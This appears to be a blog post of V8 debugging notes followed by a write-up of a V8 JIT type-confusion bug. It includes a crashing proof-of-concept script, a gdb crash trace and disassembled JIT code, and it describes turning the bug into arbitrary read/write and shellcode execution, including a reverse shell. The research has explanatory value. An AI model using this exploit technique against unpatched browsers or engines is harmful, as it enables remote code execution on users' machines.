一些调试的东西



https://github.com/danbev/learning-v8

d8 test.js –ignition –print_bytecode (using ignition)
d8 test.js –print-bytecode (using ignition)

导入v8自带的gdbinit,支持打印v8各类型对象内容,比如用于打印 v8 JavaScript object 内容的job

http://www.mouseos.com/x64/doc4.html

https://zhuanlan.zhihu.com/p/25122691

https://github.com/v8/v8/wiki/TurboFan

https://stackoverflow.com/questions/277423/how-can-i-see-the-machine-code-generated-by-v8

http://benediktmeurer.de/2017/03/01/v8-behind-the-scenes-february-edition/

http://blog.csdn.net/sunbxonline/article/details/20311545

https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/

function Ctor() {
n = new Set();
}
function Check() {
n.xyz = 0×826852f4;
parseInt();
}
for(var i=0; i<2000; ++i) {
Ctor();
}
for(var i=0; i<2000; ++i) {
Check();
}
Ctor();
Check();
----Stack
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
[-------------------------------------code-------------------------------------]
0x736e0a <_ZN2v88internal6String14GetFlatContentEv+106>: test ecx,ecx
0×736e0c <_ZN2v88internal6String14GetFlatContentEv+108>:
je 0×736e1a <_ZN2v88internal6String14GetFlatContentEv+122>
0×736e0e <_ZN2v88internal6String14GetFlatContentEv+110>:
mov rdi,QWORD PTR [rdi]
=> 0×736e11 <_ZN2v88internal6String14GetFlatContentEv+113>:
mov rax,QWORD PTR [rdi]
0×736e14 <_ZN2v88internal6String14GetFlatContentEv+116>:
call QWORD PTR [rax+0×20]
0×736e17 <_ZN2v88internal6String14GetFlatContentEv+119>: mov rdi,rax
0×736e1a <_ZN2v88internal6String14GetFlatContentEv+122>: lea rax,[rdi+rbx*2]
0×736e1e <_ZN2v88internal6String14GetFlatContentEv+126>: movabs rcx,0×200000000
[——————————————————————————]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0×0000000000736e11 in v8::internal::String::GetFlatContent() ()
gdb-peda$ print $rdi
$1 = 0×4141414141414141

First Step

Notice that poc.js:5+109 get the address(0×3fd3734c7d89) of PROPERTY_CELL_TYPE , which stores
global variable n . After that, the return of Set Constructor will be writen to n .
In the second loop, Check() will be optimized as this JIT code

: push rbp
: mov rbp,rsp
: push rsi
: push rdi
: sub rsp,0×8
: mov rax,QWORD PTR [rbp-0×8]
: mov QWORD PTR [rbp-0×18],rax
: mov rsi,rax
: cmp rsp,QWORD PTR [r13+0xb78]
: jae 0×1e16ccf79ca3
: call 0×1e16ccf4ade0
: movabs r10,0×3fd3734b1511
: push r10
: movabs rdx,0×3fd3734b1511
: movabs rdx,0×3fd3734b1511
: xor eax,eax
: mov rsi,QWORD PTR [rbp-0×18]
: mov rdi,rdx
: call 0×1e16ccf3a040
: test al,0×1
: je 0×1e16ccf79d31
: movabs r10,0×387980f08e51
: cmp QWORD PTR [rax-0×1],r10
: jne 0×1e16ccf79d36
: movabs rbx,0×3fd3734c7d89
: mov QWORD PTR [rbx+0xf],rax
: lea rdx,[rbx+0xf]
: and rax,0xfffffffffff00000
: test BYTE PTR [rax+0×8],0×2
: je 0×1e16ccf79d20
: mov rax,0xfffffffffff00000
: and rax,rbx
: test BYTE PTR [rax+0×8],0×4
: je 0×1e16ccf79d20
: call 0×1e16ccf79380
: movabs rax,0×3fd373404311
: mov rsp,rbp
: pop rbp
: ret 0×8

Second Step

Start at +35 and +45 , it gets the global variable n , and on +64 , it gets the property cell(pointer to
a FixedArray) of n . On +68 , it gets n’s first property, and on +72 the number 0×826852f4 will be
writen to it.
In addition, v8 use map to identify objects, which is located on the first field of the object. A new Set’s
map is different from a Set with some properties. In general, the optimized JIT code always check the map
of the target objects, and will deoptimize if the map has been changed.
So the problem is that it doesn’t check the map of variable n in this optimized JIT code.
: push rbp
: mov rbp,rsp
: push rsi
: push rdi
: sub rsp,0×8
: mov rax,QWORD PTR [rbp-0×8]
: mov QWORD PTR [rbp-0×18],rax
: mov rsi,rax
: cmp rsp,QWORD PTR [r13+0xb78]
: jae 0×1e16ccf7a603
: call 0×1e16ccf4ade0
: movabs rax,0×3fd3734c7d89
: mov rax,QWORD PTR [rax+0xf]
: movabs r10,0×41e04d0a5e800000
: vmovq xmm0,r10
: mov rax,QWORD PTR [rax+0×7]
: mov rax,QWORD PTR [rax+0xf]
: vmovsd QWORD PTR [rax+0×7],xmm0
: movabs r10,0×3fd373404311
: push r10
: movabs r10,0×3fd3734c7129
: push r10
: movabs rdi,0×3fd3734b4041
: mov rsi,QWORD PTR [rbp-0×18]
: mov rsi,QWORD PTR [rdi+0×27]
: mov rdx,QWORD PTR [r13-0×60]
: mov eax,0×1
: mov ebx,0×2
: call 0×1e16ccf07d80
: movabs rax,0×3fd373404311
: mov rsp,rbp
: pop rbp
: ret 0×8

Third Step

After that we call Ctor() once, variable n will be set to the new Set , which has no properties. In
another word, it will point to the Empty FixedArray, which init at beginning of v8’s process.
In addition, if we won’t optimize Ctor() , the Check() function will be deoptimized when global
variable n is changed.
At last we call Check() , the number of 0×826852f4 will be writen to the first element of the Empty
FixedArray, OOB happens!
This bug can trigger by Set , Map , Uint8Array , Uint16Array , etc.
For our poc, v8 confuse the null string’s map to a heap number, and write the double number 0×826852f4
to it, which cause the OneByteString string to be a External String type. So the data of the string is treated
as a pointer.
So far we have the oob r/w on the Empty FixedArray. As I mentioned, Empty FixedArray will be init at the
beginning of process. After this is the null String Object, so we can overwritten the null’s length for
infoleak.
Besides, I use ab = new ArrayBuffer(0×4000); …; {m.e = ab;} to set the address of
ArrayBuffer’s pointer on the String’s content, so I can get the pointer’s address.
We can do three things via this OOB bug.
1. write a small int.
2. write a heap number.
3. write an Object’s pointer
The small int in memory is the value * 2, for v8 use the LSB to identify if it is a pointer or number.
For a heap number, it stores a pointer which point to a double number and in my POC, it is an example of
the heap number write. So we can put an Object’s pointer and use heap number write to overwrite the
structure of this object.
We use this strategy to modify the ArrayBuffer’s length and Buffer pointer, then we can do Arbitrary
read/write.
Finally we read a function’s JIT pointer, write shellcode on it and call it.
The shellcode for Chrome is to call IPC, and for docs is reverse tcp shell.

Monday, August 28, 2017 by blast